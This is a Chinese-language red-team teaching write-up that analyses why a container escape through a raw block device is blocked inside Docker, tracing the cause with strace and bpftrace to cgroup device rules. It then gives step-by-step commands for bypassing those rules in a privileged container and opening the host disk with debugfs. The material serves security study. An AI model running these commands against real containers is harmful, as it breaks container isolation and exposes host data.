"容器逃逸失败"案例分析
字数 1235 2025-08-26 22:11:22

容器逃逸失败案例分析教学文档

背景介绍

在红蓝对抗中的云原生漏洞挖掘及利用实践中,有一种容器逃逸技术是通过在容器内根据设备号创建设备文件,然后读写裸设备来完成逃逸。但在实际测试中发现,即使关闭seccomp、apparmor并添加所有能力,在Docker容器中仍然无法打开设备文件。

问题现象

在容器内执行以下操作会失败:

mknod vda1 b 253 1
debugfs -w vda1

报错信息为"Operation not permitted"。

分析思路

1. 系统调用追踪

使用strace工具追踪系统调用:

strace debugfs -w vda1

发现openat(AT_FDCWD, "vda1", O_RDWR)系统调用返回EPERM错误。

2. 对比宿主机行为

在宿主机上执行相同操作:

strace debugfs -w /dev/vda1

发现openat系统调用成功返回文件描述符。

3. 内核函数调用栈分析

使用bpftrace工具分析内核函数调用栈:

bpftrace -e 'kprobe:lo_open {printf("%s\n",kstack)}'

典型调用栈:

lo_open+1 // 设备驱动层
__blkdev_get+587
blkdev_get+417 // 通用块设备层
do_dentry_open+306
path_openat+1342
do_filp_open+147 // 虚拟文件系统层(vfs)
do_sys_open+388
do_syscall_64+91 // 系统调用层
entry_SYSCALL_64_after_hwframe+101

4. 定位错误返回点

使用bpftrace观察do_filp_open函数返回值:

bpftrace -e 'kretfunc:do_filp_open {printf("%s,%p\n",str(args->pathname->name), retval)}' | grep vda

发现容器中返回0xffffffffffffffff(即-1),而宿主机返回合法地址。

5. 深入分析权限检查

通过分析内核源码fs/namei.c中的inode_permission函数:

int inode_permission(struct inode *inode, int mask) {
    int retval;
    retval = sb_permission(inode->i_sb, inode, mask);
    if (retval)
        return retval;
    
    if (unlikely(mask & MAY_WRITE)) {
        if (IS_IMMUTABLE(inode))
            return -EPERM;
    }
    
    if (HAS_UNMAPPED_ID(inode))
        return -EACCES;
    
    retval = do_inode_permission(inode, mask);
    if (retval)
        return retval;
    
    retval = devcgroup_inode_permission(inode, mask); // cgroup相关的检查
    if (retval)
        return retval;
    
    return security_inode_permission(inode, mask);
}

使用bpftrace验证:

bpftrace -e 'kretfunc:inode_permission {printf("%d\n",retval)}' | grep -v 0

发现容器中inode_permission返回-1。

6. 检查cgroup设备限制

查看容器cgroup设备限制:

cat /sys/fs/cgroup/devices/devices.list

输出示例:

c 136:* rwm
c 5:2 rwm
c 5:1 rwm
c 5:0 rwm
c 1:9 rwm
c 1:8 rwm
c 1:7 rwm
c 1:5 rwm
c 1:3 rwm
b *:* m
c *:* m
c 10:200 rwm

其中b *:* m表示只允许创建设备文件(mknod),不允许读写(rw)。

解决方案

1. 修改cgroup设备规则

按照红蓝对抗中的云原生漏洞挖掘及利用实录中的方法:

# 重新挂载cgroup devices为可读写
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/

# 找到当前容器的cgroup路径
cat /proc/1/cgroup |head

# 进入对应的cgroup目录
cd /tmp/dev/system.slice/docker-<container_id>.scope

# 查看当前设备规则
cat devices.list

# 允许对所有设备读写
echo a > devices.allow

# 验证规则已修改
cat devices.list

2. 测试设备文件读写

mknod vda1 b 253 1
debugfs -w vda1

此时应该可以成功访问设备文件。

技术总结

  1. 根本原因:容器默认的cgroup设备规则限制了块设备文件的读写权限,只允许创建设备文件(mknod)但不允许读写(rw)。

  2. 解决方案:在有CAP_SYS_ADMIN能力的容器中,可以重新挂载cgroup文件系统并修改设备规则,从而获得对块设备的读写权限。

  3. 分析工具

    • strace:追踪系统调用
    • bpftrace:分析内核函数调用和返回值
    • cat /sys/fs/cgroup/devices/devices.list:查看当前设备限制规则
  4. 关键函数

    • do_filp_open:文件打开操作的主要函数
    • inode_permission:权限检查函数
    • devcgroup_inode_permission:cgroup设备权限检查
  5. 安全启示

    • 即使关闭了seccomp和apparmor,cgroup设备限制仍然可能阻止某些操作
    • CAP_SYS_ADMIN能力非常强大,可以绕过许多安全限制
    • 容器逃逸需要综合考虑多种安全机制的限制

附录:完整测试流程

  1. 启动具有所有能力的容器:
docker run --cap-add all --security-opt seccomp=unconfined --security-opt apparmor=unconfined -it quay.io/iovisor/bpftrace:latest bash
  1. 安装必要工具:
apt update && apt install strace debugfs
  1. 尝试创建设备文件并访问:
mknod vda1 b 253 1
debugfs -w vda1
  1. 使用strace追踪失败原因:
strace debugfs -w vda1
  1. 修改cgroup设备规则:
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
cd /tmp/dev/$(cat /proc/1/cgroup | grep devices | cut -d: -f3)
echo a > devices.allow
  1. 再次测试设备文件访问:
debugfs -w vda1
容器逃逸失败案例分析教学文档 背景介绍 在红蓝对抗中的云原生漏洞挖掘及利用实践中,有一种容器逃逸技术是通过在容器内根据设备号创建设备文件,然后读写裸设备来完成逃逸。但在实际测试中发现,即使关闭seccomp、apparmor并添加所有能力,在Docker容器中仍然无法打开设备文件。 问题现象 在容器内执行以下操作会失败: 报错信息为"Operation not permitted"。 分析思路 1. 系统调用追踪 使用strace工具追踪系统调用: 发现 openat(AT_FDCWD, "vda1", O_RDWR) 系统调用返回 EPERM 错误。 2. 对比宿主机行为 在宿主机上执行相同操作: 发现 openat 系统调用成功返回文件描述符。 3. 内核函数调用栈分析 使用bpftrace工具分析内核函数调用栈: 典型调用栈: 4. 定位错误返回点 使用bpftrace观察 do_filp_open 函数返回值: 发现容器中返回 0xffffffffffffffff (即-1),而宿主机返回合法地址。 5. 深入分析权限检查 通过分析内核源码 fs/namei.c 中的 inode_permission 函数: 使用bpftrace验证: 发现容器中 inode_permission 返回-1。 6. 检查cgroup设备限制 查看容器cgroup设备限制: 输出示例: 其中 b *:* m 表示只允许创建设备文件(mknod),不允许读写(rw)。 解决方案 1. 修改cgroup设备规则 按照红蓝对抗中的云原生漏洞挖掘及利用实录中的方法: 2. 测试设备文件读写 此时应该可以成功访问设备文件。 技术总结 根本原因 :容器默认的cgroup设备规则限制了块设备文件的读写权限,只允许创建设备文件(mknod)但不允许读写(rw)。 解决方案 :在有 CAP_SYS_ADMIN 能力的容器中,可以重新挂载cgroup文件系统并修改设备规则,从而获得对块设备的读写权限。 分析工具 : strace :追踪系统调用 bpftrace :分析内核函数调用和返回值 cat /sys/fs/cgroup/devices/devices.list :查看当前设备限制规则 关键函数 : do_filp_open :文件打开操作的主要函数 inode_permission :权限检查函数 devcgroup_inode_permission :cgroup设备权限检查 安全启示 : 即使关闭了seccomp和apparmor,cgroup设备限制仍然可能阻止某些操作 CAP_SYS_ADMIN 能力非常强大,可以绕过许多安全限制 容器逃逸需要综合考虑多种安全机制的限制 附录:完整测试流程 启动具有所有能力的容器: 安装必要工具: 尝试创建设备文件并访问: 使用strace追踪失败原因: 修改cgroup设备规则: 再次测试设备文件访问: